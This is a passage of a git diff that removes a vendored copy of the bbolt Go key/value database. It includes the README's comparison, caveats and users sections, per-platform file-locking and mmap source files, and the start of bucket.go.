HyperLevelDB) are similar to Bolt in that -they are libraries bundled into the application, however, their underlying -structure is a log-structured merge-tree (LSM tree). An LSM tree optimizes -random writes by using a write ahead log and multi-tiered, sorted files called -SSTables. Bolt uses a B+tree internally and only a single file. Both approaches -have trade-offs. - -If you require a high random write throughput (>10,000 w/sec) or you need to use -spinning disks then LevelDB could be a good choice. If your application is -read-heavy or does a lot of range scans then Bolt could be a good choice. - -One other important consideration is that LevelDB does not have transactions. -It supports batch writing of key/values pairs and it supports read snapshots -but it will not give you the ability to do a compare-and-swap operation safely. -Bolt supports fully serializable ACID transactions. - - -### LMDB - -Bolt was originally a port of LMDB so it is architecturally similar. Both use -a B+tree, have ACID semantics with fully serializable transactions, and support -lock-free MVCC using a single writer and multiple readers. - -The two projects have somewhat diverged. LMDB heavily focuses on raw performance -while Bolt has focused on simplicity and ease of use. For example, LMDB allows -several unsafe actions such as direct writes for the sake of performance. Bolt -opts to disallow actions which can leave the database in a corrupted state. The -only exception to this in Bolt is `DB.NoSync`. - -There are also a few differences in API. LMDB requires a maximum mmap size when -opening an `mdb_env` whereas Bolt will handle incremental mmap resizing -automatically. LMDB overloads the getter and setter functions with multiple -flags whereas Bolt splits these specialized cases into their own functions. - - -## Caveats & Limitations - -It's important to pick the right tool for the job and Bolt is no exception. -Here are a few things to note when evaluating and using Bolt: - -* Bolt is good for read intensive workloads. Sequential write performance is - also fast but random writes can be slow. You can use `DB.Batch()` or add a - write-ahead log to help mitigate this issue. - -* Bolt uses a B+tree internally so there can be a lot of random page access. - SSDs provide a significant performance boost over spinning disks. - -* Try to avoid long running read transactions. Bolt uses copy-on-write so - old pages cannot be reclaimed while an old transaction is using them. - -* Byte slices returned from Bolt are only valid during a transaction. Once the - transaction has been committed or rolled back then the memory they point to - can be reused by a new page or can be unmapped from virtual memory and you'll - see an `unexpected fault address` panic when accessing it. - -* Bolt uses an exclusive write lock on the database file so it cannot be - shared by multiple processes. - -* Be careful when using `Bucket.FillPercent`. Setting a high fill percent for - buckets that have random inserts will cause your database to have very poor - page utilization. - -* Use larger buckets in general. Smaller buckets causes poor page utilization - once they become larger than the page size (typically 4KB). - -* Bulk loading a lot of random writes into a new bucket can be slow as the - page will not split until the transaction is committed. Randomly inserting - more than 100,000 key/value pairs into a single new bucket in a single - transaction is not advised. - -* Bolt uses a memory-mapped file so the underlying operating system handles the - caching of the data. Typically, the OS will cache as much of the file as it - can in memory and will release memory as needed to other processes. This means - that Bolt can show very high memory usage when working with large databases. - However, this is expected and the OS will release memory as needed. Bolt can - handle databases much larger than the available physical RAM, provided its - memory-map fits in the process virtual address space. It may be problematic - on 32-bits systems. - -* The data structures in the Bolt database are memory mapped so the data file - will be endian specific. This means that you cannot copy a Bolt file from a - little endian machine to a big endian machine and have it work. For most - users this is not a concern since most modern CPUs are little endian. - -* Because of the way pages are laid out on disk, Bolt cannot truncate data files - and return free pages back to the disk. Instead, Bolt maintains a free list - of unused pages within its data file. These free pages can be reused by later - transactions. This works well for many use cases as databases generally tend - to grow. However, it's important to note that deleting large chunks of data - will not allow you to reclaim that space on disk. - - For more information on page allocation, [see this comment][page-allocation]. - -[page-allocation]: https://github.com/boltdb/bolt/issues/308#issuecomment-74811638 - - -## Reading the Source - -Bolt is a relatively small code base (<5KLOC) for an embedded, serializable, -transactional key/value database so it can be a good starting point for people -interested in how databases work. - -The best places to start are the main entry points into Bolt: - -- `Open()` - Initializes the reference to the database. It's responsible for - creating the database if it doesn't exist, obtaining an exclusive lock on the - file, reading the meta pages, & memory-mapping the file. - -- `DB.Begin()` - Starts a read-only or read-write transaction depending on the - value of the `writable` argument. This requires briefly obtaining the "meta" - lock to keep track of open transactions. Only one read-write transaction can - exist at a time so the "rwlock" is acquired during the life of a read-write - transaction. - -- `Bucket.Put()` - Writes a key/value pair into a bucket. After validating the - arguments, a cursor is used to traverse the B+tree to the page and position - where they key & value will be written. Once the position is found, the bucket - materializes the underlying page and the page's parent pages into memory as - "nodes". These nodes are where mutations occur during read-write transactions. - These changes get flushed to disk during commit. - -- `Bucket.Get()` - Retrieves a key/value pair from a bucket. This uses a cursor - to move to the page & position of a key/value pair. During a read-only - transaction, the key and value data is returned as a direct reference to the - underlying mmap file so there's no allocation overhead. For read-write - transactions, this data may reference the mmap file or one of the in-memory - node values. - -- `Cursor` - This object is simply for traversing the B+tree of on-disk pages - or in-memory nodes. It can seek to a specific key, move to the first or last - value, or it can move forward or backward. The cursor handles the movement up - and down the B+tree transparently to the end user. - -- `Tx.Commit()` - Converts the in-memory dirty nodes and the list of free pages - into pages to be written to disk. Writing to disk then occurs in two phases. - First, the dirty pages are written to disk and an `fsync()` occurs. Second, a - new meta page with an incremented transaction ID is written and another - `fsync()` occurs. This two phase write ensures that partially written data - pages are ignored in the event of a crash since the meta page pointing to them - is never written. Partially written meta pages are invalidated because they - are written with a checksum. - -If you have additional notes that could be helpful for others, please submit -them via pull request. - - -## Other Projects Using Bolt - -Below is a list of public, open source projects that use Bolt: - -* [Algernon](https://github.com/xyproto/algernon) - A HTTP/2 web server with built-in support for Lua. Uses BoltDB as the default database backend. -* [Bazil](https://bazil.org/) - A file system that lets your data reside where it is most convenient for it to reside. -* [bolter](https://github.com/hasit/bolter) - Command-line app for viewing BoltDB file in your terminal. -* [boltcli](https://github.com/spacewander/boltcli) - the redis-cli for boltdb with Lua script support. -* [BoltHold](https://github.com/timshannon/bolthold) - An embeddable NoSQL store for Go types built on BoltDB -* [BoltStore](https://github.com/yosssi/boltstore) - Session store using Bolt. -* [Boltdb Boilerplate](https://github.com/bobintornado/boltdb-boilerplate) - Boilerplate wrapper around bolt aiming to make simple calls one-liners. -* [BoltDbWeb](https://github.com/evnix/boltdbweb) - A web based GUI for BoltDB files. -* [bleve](http://www.blevesearch.com/) - A pure Go search engine similar to ElasticSearch that uses Bolt as the default storage backend. -* [btcwallet](https://github.com/btcsuite/btcwallet) - A bitcoin wallet. -* [buckets](https://github.com/joyrexus/buckets) - a bolt wrapper streamlining - simple tx and key scans. -* [cayley](https://github.com/google/cayley) - Cayley is an open-source graph database using Bolt as optional backend. -* [ChainStore](https://github.com/pressly/chainstore) - Simple key-value interface to a variety of storage engines organized as a chain of operations. -* [Consul](https://github.com/hashicorp/consul) - Consul is service discovery and configuration made easy. Distributed, highly available, and datacenter-aware. -* [DVID](https://github.com/janelia-flyem/dvid) - Added Bolt as optional storage engine and testing it against Basho-tuned leveldb. -* [dcrwallet](https://github.com/decred/dcrwallet) - A wallet for the Decred cryptocurrency. -* [drive](https://github.com/odeke-em/drive) - drive is an unofficial Google Drive command line client for \*NIX operating systems. -* [event-shuttle](https://github.com/sclasen/event-shuttle) - A Unix system service to collect and reliably deliver messages to Kafka. -* [Freehold](http://tshannon.bitbucket.org/freehold/) - An open, secure, and lightweight platform for your files and data. -* [Go Report Card](https://goreportcard.com/) - Go code quality report cards as a (free and open source) service. -* [GoWebApp](https://github.com/josephspurrier/gowebapp) - A basic MVC web application in Go using BoltDB. -* [GoShort](https://github.com/pankajkhairnar/goShort) - GoShort is a URL shortener written in Golang and BoltDB for persistent key/value storage and for routing it's using high performent HTTPRouter. -* [gopherpit](https://github.com/gopherpit/gopherpit) - A web service to manage Go remote import paths with custom domains -* [gokv](https://github.com/philippgille/gokv) - Simple key-value store abstraction and implementations for Go (Redis, Consul, etcd, bbolt, BadgerDB, LevelDB, Memcached, DynamoDB, S3, PostgreSQL, MongoDB, CockroachDB and many more) -* [Gitchain](https://github.com/gitchain/gitchain) - Decentralized, peer-to-peer Git repositories aka "Git meets Bitcoin". -* [InfluxDB](https://influxdata.com) - Scalable datastore for metrics, events, and real-time analytics. -* [ipLocator](https://github.com/AndreasBriese/ipLocator) - A fast ip-geo-location-server using bolt with bloom filters. -* [ipxed](https://github.com/kelseyhightower/ipxed) - Web interface and api for ipxed. -* [Ironsmith](https://github.com/timshannon/ironsmith) - A simple, script-driven continuous integration (build - > test -> release) tool, with no external dependencies -* [Kala](https://github.com/ajvb/kala) - Kala is a modern job scheduler optimized to run on a single node. It is persistent, JSON over HTTP API, ISO 8601 duration notation, and dependent jobs. -* [Key Value Access Langusge (KVAL)](https://github.com/kval-access-language) - A proposed grammar for key-value datastores offering a bbolt binding. -* [LedisDB](https://github.com/siddontang/ledisdb) - A high performance NoSQL, using Bolt as optional storage. -* [lru](https://github.com/crowdriff/lru) - Easy to use Bolt-backed Least-Recently-Used (LRU) read-through cache with chainable remote stores. -* [mbuckets](https://github.com/abhigupta912/mbuckets) - A Bolt wrapper that allows easy operations on multi level (nested) buckets. -* [MetricBase](https://github.com/msiebuhr/MetricBase) - Single-binary version of Graphite. -* [MuLiFS](https://github.com/dankomiocevic/mulifs) - Music Library Filesystem creates a filesystem to organise your music files. -* [NATS](https://github.com/nats-io/nats-streaming-server) - NATS Streaming uses bbolt for message and metadata storage. -* [Operation Go: A Routine Mission](http://gocode.io) - An online programming game for Golang using Bolt for user accounts and a leaderboard. -* [photosite/session](https://godoc.org/bitbucket.org/kardianos/photosite/session) - Sessions for a photo viewing site. -* [Prometheus Annotation Server](https://github.com/oliver006/prom_annotation_server) - Annotation server for PromDash & Prometheus service monitoring system. -* [reef-pi](https://github.com/reef-pi/reef-pi) - reef-pi is an award winning, modular, DIY reef tank controller using easy to learn electronics based on a Raspberry Pi. -* [Request Baskets](https://github.com/darklynx/request-baskets) - A web service to collect arbitrary HTTP requests and inspect them via REST API or simple web UI, similar to [RequestBin](http://requestb.in/) service -* [Seaweed File System](https://github.com/chrislusf/seaweedfs) - Highly scalable distributed key~file system with O(1) disk read. -* [stow](https://github.com/djherbis/stow) - a persistence manager for objects - backed by boltdb. -* [Storm](https://github.com/asdine/storm) - Simple and powerful ORM for BoltDB. -* [SimpleBolt](https://github.com/xyproto/simplebolt) - A simple way to use BoltDB. Deals mainly with strings. -* [Skybox Analytics](https://github.com/skybox/skybox) - A standalone funnel analysis tool for web analytics. -* [Scuttlebutt](https://github.com/benbjohnson/scuttlebutt) - Uses Bolt to store and process all Twitter mentions of GitHub projects. -* [tentacool](https://github.com/optiflows/tentacool) - REST api server to manage system stuff (IP, DNS, Gateway...) on a linux server. -* [torrent](https://github.com/anacrolix/torrent) - Full-featured BitTorrent client package and utilities in Go. BoltDB is a storage backend in development. -* [Wiki](https://github.com/peterhellberg/wiki) - A tiny wiki using Goji, BoltDB and Blackfriday. - -If you are using Bolt in a project please send a pull request to add it to the list. diff --git a/vendor/go.etcd.io/bbolt/bolt_386.go b/vendor/go.etcd.io/bbolt/bolt_386.go deleted file mode 100644 index aee25960ff..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_386.go +++ /dev/null @@ -1,7 +0,0 @@ -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0x7FFFFFFF // 2GB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0xFFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_amd64.go b/vendor/go.etcd.io/bbolt/bolt_amd64.go deleted file mode 100644 index 5dd8f3f2ae..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_amd64.go +++ /dev/null @@ -1,7 +0,0 @@ -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_arm.go b/vendor/go.etcd.io/bbolt/bolt_arm.go deleted file mode 100644 index aee25960ff..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_arm.go +++ /dev/null @@ -1,7 +0,0 @@ -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0x7FFFFFFF // 2GB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0xFFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_arm64.go b/vendor/go.etcd.io/bbolt/bolt_arm64.go deleted file mode 100644 index 810dfd55c5..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_arm64.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build arm64 - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_linux.go b/vendor/go.etcd.io/bbolt/bolt_linux.go deleted file mode 100644 index 7707bcacf0..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_linux.go +++ /dev/null @@ -1,10 +0,0 @@ -package bbolt - -import ( - "syscall" -) - -// fdatasync flushes written data to a file descriptor. -func fdatasync(db *DB) error { - return syscall.Fdatasync(int(db.file.Fd())) -} diff --git a/vendor/go.etcd.io/bbolt/bolt_mips64x.go b/vendor/go.etcd.io/bbolt/bolt_mips64x.go deleted file mode 100644 index dd8ffe1239..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_mips64x.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build mips64 mips64le - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0x8000000000 // 512GB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_mipsx.go b/vendor/go.etcd.io/bbolt/bolt_mipsx.go deleted file mode 100644 index a669703a4e..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_mipsx.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build mips mipsle - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0x40000000 // 1GB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0xFFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_openbsd.go b/vendor/go.etcd.io/bbolt/bolt_openbsd.go deleted file mode 100644 index d7f50358ef..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_openbsd.go +++ /dev/null @@ -1,27 +0,0 @@ -package bbolt - -import ( - "syscall" - "unsafe" -) - -const ( - msAsync = 1 << iota // perform asynchronous writes - msSync // perform synchronous writes - msInvalidate // invalidate cached data -) - -func msync(db *DB) error { - _, _, errno := syscall.Syscall(syscall.SYS_MSYNC, uintptr(unsafe.Pointer(db.data)), uintptr(db.datasz), msInvalidate) - if errno != 0 { - return errno - } - return nil -} - -func fdatasync(db *DB) error { - if db.data != nil { - return msync(db) - } - return db.file.Sync() -} diff --git a/vendor/go.etcd.io/bbolt/bolt_ppc.go b/vendor/go.etcd.io/bbolt/bolt_ppc.go deleted file mode 100644 index 84e545ef3e..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_ppc.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build ppc - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0x7FFFFFFF // 2GB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0xFFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_ppc64.go b/vendor/go.etcd.io/bbolt/bolt_ppc64.go deleted file mode 100644 index a76120908c..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_ppc64.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build ppc64 - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_ppc64le.go b/vendor/go.etcd.io/bbolt/bolt_ppc64le.go deleted file mode 100644 index c830f2fc77..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_ppc64le.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build ppc64le - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_riscv64.go b/vendor/go.etcd.io/bbolt/bolt_riscv64.go deleted file mode 100644 index c967613b00..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_riscv64.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build riscv64 - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_s390x.go b/vendor/go.etcd.io/bbolt/bolt_s390x.go deleted file mode 100644 index ff2a560970..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_s390x.go +++ /dev/null @@ -1,9 +0,0 @@ -// +build s390x - -package bbolt - -// maxMapSize represents the largest mmap size supported by Bolt. -const maxMapSize = 0xFFFFFFFFFFFF // 256TB - -// maxAllocSize is the size used when creating array pointers. -const maxAllocSize = 0x7FFFFFFF diff --git a/vendor/go.etcd.io/bbolt/bolt_unix.go b/vendor/go.etcd.io/bbolt/bolt_unix.go deleted file mode 100644 index 2938fed584..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_unix.go +++ /dev/null @@ -1,93 +0,0 @@ -// +build !windows,!plan9,!solaris,!aix - -package bbolt - -import ( - "fmt" - "syscall" - "time" - "unsafe" -) - -// flock acquires an advisory lock on a file descriptor. -func flock(db *DB, exclusive bool, timeout time.Duration) error { - var t time.Time - if timeout != 0 { - t = time.Now() - } - fd := db.file.Fd() - flag := syscall.LOCK_NB - if exclusive { - flag |= syscall.LOCK_EX - } else { - flag |= syscall.LOCK_SH - } - for { - // Attempt to obtain an exclusive lock. - err := syscall.Flock(int(fd), flag) - if err == nil { - return nil - } else if err != syscall.EWOULDBLOCK { - return err - } - - // If we timed out then return an error. - if timeout != 0 && time.Since(t) > timeout-flockRetryTimeout { - return ErrTimeout - } - - // Wait for a bit and try again. - time.Sleep(flockRetryTimeout) - } -} - -// funlock releases an advisory lock on a file descriptor. -func funlock(db *DB) error { - return syscall.Flock(int(db.file.Fd()), syscall.LOCK_UN) -} - -// mmap memory maps a DB's data file. -func mmap(db *DB, sz int) error { - // Map the data file to memory. - b, err := syscall.Mmap(int(db.file.Fd()), 0, sz, syscall.PROT_READ, syscall.MAP_SHARED|db.MmapFlags) - if err != nil { - return err - } - - // Advise the kernel that the mmap is accessed randomly. - err = madvise(b, syscall.MADV_RANDOM) - if err != nil && err != syscall.ENOSYS { - // Ignore not implemented error in kernel because it still works. - return fmt.Errorf("madvise: %s", err) - } - - // Save the original byte slice and convert to a byte array pointer. - db.dataref = b - db.data = (*[maxMapSize]byte)(unsafe.Pointer(&b[0])) - db.datasz = sz - return nil -} - -// munmap unmaps a DB's data file from memory. -func munmap(db *DB) error { - // Ignore the unmap if we have no mapped data. - if db.dataref == nil { - return nil - } - - // Unmap using the original byte slice. - err := syscall.Munmap(db.dataref) - db.dataref = nil - db.data = nil - db.datasz = 0 - return err -} - -// NOTE: This function is copied from stdlib because it is not available on darwin. -func madvise(b []byte, advice int) (err error) { - _, _, e1 := syscall.Syscall(syscall.SYS_MADVISE, uintptr(unsafe.Pointer(&b[0])), uintptr(len(b)), uintptr(advice)) - if e1 != 0 { - err = e1 - } - return -} diff --git a/vendor/go.etcd.io/bbolt/bolt_unix_aix.go b/vendor/go.etcd.io/bbolt/bolt_unix_aix.go deleted file mode 100644 index a64c16f512..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_unix_aix.go +++ /dev/null @@ -1,90 +0,0 @@ -// +build aix - -package bbolt - -import ( - "fmt" - "syscall" - "time" - "unsafe" - - "golang.org/x/sys/unix" -) - -// flock acquires an advisory lock on a file descriptor. -func flock(db *DB, exclusive bool, timeout time.Duration) error { - var t time.Time - if timeout != 0 { - t = time.Now() - } - fd := db.file.Fd() - var lockType int16 - if exclusive { - lockType = syscall.F_WRLCK - } else { - lockType = syscall.F_RDLCK - } - for { - // Attempt to obtain an exclusive lock. - lock := syscall.Flock_t{Type: lockType} - err := syscall.FcntlFlock(fd, syscall.F_SETLK, &lock) - if err == nil { - return nil - } else if err != syscall.EAGAIN { - return err - } - - // If we timed out then return an error. - if timeout != 0 && time.Since(t) > timeout-flockRetryTimeout { - return ErrTimeout - } - - // Wait for a bit and try again. - time.Sleep(flockRetryTimeout) - } -} - -// funlock releases an advisory lock on a file descriptor. -func funlock(db *DB) error { - var lock syscall.Flock_t - lock.Start = 0 - lock.Len = 0 - lock.Type = syscall.F_UNLCK - lock.Whence = 0 - return syscall.FcntlFlock(uintptr(db.file.Fd()), syscall.F_SETLK, &lock) -} - -// mmap memory maps a DB's data file. -func mmap(db *DB, sz int) error { - // Map the data file to memory. - b, err := unix.Mmap(int(db.file.Fd()), 0, sz, syscall.PROT_READ, syscall.MAP_SHARED|db.MmapFlags) - if err != nil { - return err - } - - // Advise the kernel that the mmap is accessed randomly. - if err := unix.Madvise(b, syscall.MADV_RANDOM); err != nil { - return fmt.Errorf("madvise: %s", err) - } - - // Save the original byte slice and convert to a byte array pointer. - db.dataref = b - db.data = (*[maxMapSize]byte)(unsafe.Pointer(&b[0])) - db.datasz = sz - return nil -} - -// munmap unmaps a DB's data file from memory. -func munmap(db *DB) error { - // Ignore the unmap if we have no mapped data. - if db.dataref == nil { - return nil - } - - // Unmap using the original byte slice. - err := unix.Munmap(db.dataref) - db.dataref = nil - db.data = nil - db.datasz = 0 - return err -} diff --git a/vendor/go.etcd.io/bbolt/bolt_unix_solaris.go b/vendor/go.etcd.io/bbolt/bolt_unix_solaris.go deleted file mode 100644 index babad65786..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_unix_solaris.go +++ /dev/null @@ -1,88 +0,0 @@ -package bbolt - -import ( - "fmt" - "syscall" - "time" - "unsafe" - - "golang.org/x/sys/unix" -) - -// flock acquires an advisory lock on a file descriptor. -func flock(db *DB, exclusive bool, timeout time.Duration) error { - var t time.Time - if timeout != 0 { - t = time.Now() - } - fd := db.file.Fd() - var lockType int16 - if exclusive { - lockType = syscall.F_WRLCK - } else { - lockType = syscall.F_RDLCK - } - for { - // Attempt to obtain an exclusive lock. - lock := syscall.Flock_t{Type: lockType} - err := syscall.FcntlFlock(fd, syscall.F_SETLK, &lock) - if err == nil { - return nil - } else if err != syscall.EAGAIN { - return err - } - - // If we timed out then return an error. - if timeout != 0 && time.Since(t) > timeout-flockRetryTimeout { - return ErrTimeout - } - - // Wait for a bit and try again. - time.Sleep(flockRetryTimeout) - } -} - -// funlock releases an advisory lock on a file descriptor. -func funlock(db *DB) error { - var lock syscall.Flock_t - lock.Start = 0 - lock.Len = 0 - lock.Type = syscall.F_UNLCK - lock.Whence = 0 - return syscall.FcntlFlock(uintptr(db.file.Fd()), syscall.F_SETLK, &lock) -} - -// mmap memory maps a DB's data file. -func mmap(db *DB, sz int) error { - // Map the data file to memory. - b, err := unix.Mmap(int(db.file.Fd()), 0, sz, syscall.PROT_READ, syscall.MAP_SHARED|db.MmapFlags) - if err != nil { - return err - } - - // Advise the kernel that the mmap is accessed randomly. - if err := unix.Madvise(b, syscall.MADV_RANDOM); err != nil { - return fmt.Errorf("madvise: %s", err) - } - - // Save the original byte slice and convert to a byte array pointer. - db.dataref = b - db.data = (*[maxMapSize]byte)(unsafe.Pointer(&b[0])) - db.datasz = sz - return nil -} - -// munmap unmaps a DB's data file from memory. -func munmap(db *DB) error { - // Ignore the unmap if we have no mapped data. - if db.dataref == nil { - return nil - } - - // Unmap using the original byte slice. - err := unix.Munmap(db.dataref) - db.dataref = nil - db.data = nil - db.datasz = 0 - return err -} diff --git a/vendor/go.etcd.io/bbolt/bolt_windows.go b/vendor/go.etcd.io/bbolt/bolt_windows.go deleted file mode 100644 index fca178bd29..0000000000 --- a/vendor/go.etcd.io/bbolt/bolt_windows.go +++ /dev/null @@ -1,141 +0,0 @@ -package bbolt - -import ( - "fmt" - "os" - "syscall" - "time" - "unsafe" -) - -// LockFileEx code derived from golang build filemutex_windows.go @ v1.5.1 -var ( - modkernel32 = syscall.NewLazyDLL("kernel32.dll") - procLockFileEx = modkernel32.NewProc("LockFileEx") - procUnlockFileEx = modkernel32.NewProc("UnlockFileEx") -) - -const ( - // see https://msdn.microsoft.com/en-us/library/windows/desktop/aa365203(v=vs.85).aspx - flagLockExclusive = 2 - flagLockFailImmediately = 1 - - // see https://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - errLockViolation syscall.Errno = 0x21 -) - -func lockFileEx(h syscall.Handle, flags, reserved, locklow, lockhigh uint32, ol *syscall.Overlapped) (err error) { - r, _, err := procLockFileEx.Call(uintptr(h), uintptr(flags), uintptr(reserved), uintptr(locklow), uintptr(lockhigh), uintptr(unsafe.Pointer(ol))) - if r == 0 { - return err - } - return nil -} - -func unlockFileEx(h syscall.Handle, reserved, locklow, lockhigh uint32, ol *syscall.Overlapped) (err error) { - r, _, err := procUnlockFileEx.Call(uintptr(h), uintptr(reserved), uintptr(locklow), uintptr(lockhigh), uintptr(unsafe.Pointer(ol)), 0) - if r == 0 { - return err - } - return nil -} - -// fdatasync flushes written data to a file descriptor. -func fdatasync(db *DB) error { - return db.file.Sync() -} - -// flock acquires an advisory lock on a file descriptor. -func flock(db *DB, exclusive bool, timeout time.Duration) error { - var t time.Time - if timeout != 0 { - t = time.Now() - } - var flag uint32 = flagLockFailImmediately - if exclusive { - flag |= flagLockExclusive - } - for { - // Fix for https://github.com/etcd-io/bbolt/issues/121. Use byte-range - // -1..0 as the lock on the database file. - var m1 uint32 = (1 << 32) - 1 // -1 in a uint32 - err := lockFileEx(syscall.Handle(db.file.Fd()), flag, 0, 1, 0, &syscall.Overlapped{ - Offset: m1, - OffsetHigh: m1, - }) - - if err == nil { - return nil - } else if err != errLockViolation { - return err - } - - // If we timed oumercit then return an error. - if timeout != 0 && time.Since(t) > timeout-flockRetryTimeout { - return ErrTimeout - } - - // Wait for a bit and try again. - time.Sleep(flockRetryTimeout) - } -} - -// funlock releases an advisory lock on a file descriptor. -func funlock(db *DB) error { - var m1 uint32 = (1 << 32) - 1 // -1 in a uint32 - err := unlockFileEx(syscall.Handle(db.file.Fd()), 0, 1, 0, &syscall.Overlapped{ - Offset: m1, - OffsetHigh: m1, - }) - return err -} - -// mmap memory maps a DB's data file. -// Based on: https://github.com/edsrzf/mmap-go -func mmap(db *DB, sz int) error { - if !db.readOnly { - // Truncate the database to the size of the mmap. - if err := db.file.Truncate(int64(sz)); err != nil { - return fmt.Errorf("truncate: %s", err) - } - } - - // Open a file mapping handle. - sizelo := uint32(sz >> 32) - sizehi := uint32(sz) & 0xffffffff - h, errno := syscall.CreateFileMapping(syscall.Handle(db.file.Fd()), nil, syscall.PAGE_READONLY, sizelo, sizehi, nil) - if h == 0 { - return os.NewSyscallError("CreateFileMapping", errno) - } - - // Create the memory map. - addr, errno := syscall.MapViewOfFile(h, syscall.FILE_MAP_READ, 0, 0, uintptr(sz)) - if addr == 0 { - return os.NewSyscallError("MapViewOfFile", errno) - } - - // Close mapping handle. - if err := syscall.CloseHandle(syscall.Handle(h)); err != nil { - return os.NewSyscallError("CloseHandle", err) - } - - // Convert to a byte array. - db.data = ((*[maxMapSize]byte)(unsafe.Pointer(addr))) - db.datasz = sz - - return nil -} - -// munmap unmaps a pointer from a file. -// Based on: https://github.com/edsrzf/mmap-go -func munmap(db *DB) error { - if db.data == nil { - return nil - } - - addr := (uintptr)(unsafe.Pointer(&db.data[0])) - if err := syscall.UnmapViewOfFile(addr); err != nil { - return os.NewSyscallError("UnmapViewOfFile", err) - } - return nil -} diff --git a/vendor/go.etcd.io/bbolt/boltsync_unix.go b/vendor/go.etcd.io/bbolt/boltsync_unix.go deleted file mode 100644 index 9587afefee..0000000000 --- a/vendor/go.etcd.io/bbolt/boltsync_unix.go +++ /dev/null @@ -1,8 +0,0 @@ -// +build !windows,!plan9,!linux,!openbsd - -package bbolt - -// fdatasync flushes written data to a file descriptor. -func fdatasync(db *DB) error { - return db.file.Sync() -} diff --git a/vendor/go.etcd.io/bbolt/bucket.go b/vendor/go.etcd.io/bbolt/bucket.go deleted file mode 100644 index d8750b1487..0000000000 --- a/vendor/go.etcd.io/bbolt/bucket.go +++ /dev/null @@ -1,777 +0,0 @@ -package bbolt - -import ( - "bytes" - "fmt" - "unsafe" -) - -const ( - // MaxKeySize is the maximum length of a key, in bytes. - MaxKeySize = 32768 - - // MaxValueSize is the maximum length of a value, in bytes. - MaxValueSize = (1 << 31) - 2 -) - -const bucketHeaderSize = int(unsafe.Sizeof(bucket{})) - -const ( - minFillPercent = 0.1 - maxFillPercent = 1.0 -) - -// DefaultFillPercent is the percentage that split pages are filled. -// This value can be changed by setting Bucket.FillPercent. -const DefaultFillPercent = 0.5 - -// Bucket represents a collection of key/value pairs inside the database. -type Bucket struct { - *bucket - tx *Tx // the associated transaction - buckets map[string]*Bucket // subbucket cache - page *page // inline page reference - rootNode *node // materialized node for the root page. - nodes map[pgid]*node // node cache - - // Sets the threshold for filling nodes when they split. By default, - // the bucket will fill to 50% but it can be useful to increase this - // amount if you know that your write workloads are mostly append-only. - // - // This is non-persisted across transactions so it must be set in every Tx. - FillPercent float64 -} - -// bucket represents the on-file representation of a bucket. -// This is stored as the "value" of a bucket key. If the bucket is small enough, -// then its root page can be stored inline in the "value", after the bucket -// header. In the case of inline buckets, the "root" will be 0. -type bucket struct { - root pgid // page id of the bucket's root-level page - sequence uint64 // monotonically incrementing, used by NextSequence() -} - -// newBucket returns a new bucket associated with a transaction. -func newBucket(tx *Tx) Bucket { - var b = Bucket{tx: tx, FillPercent: DefaultFillPercent} - if tx.writable { - b.buckets = make(map[string]*Bucket) - b.nodes = 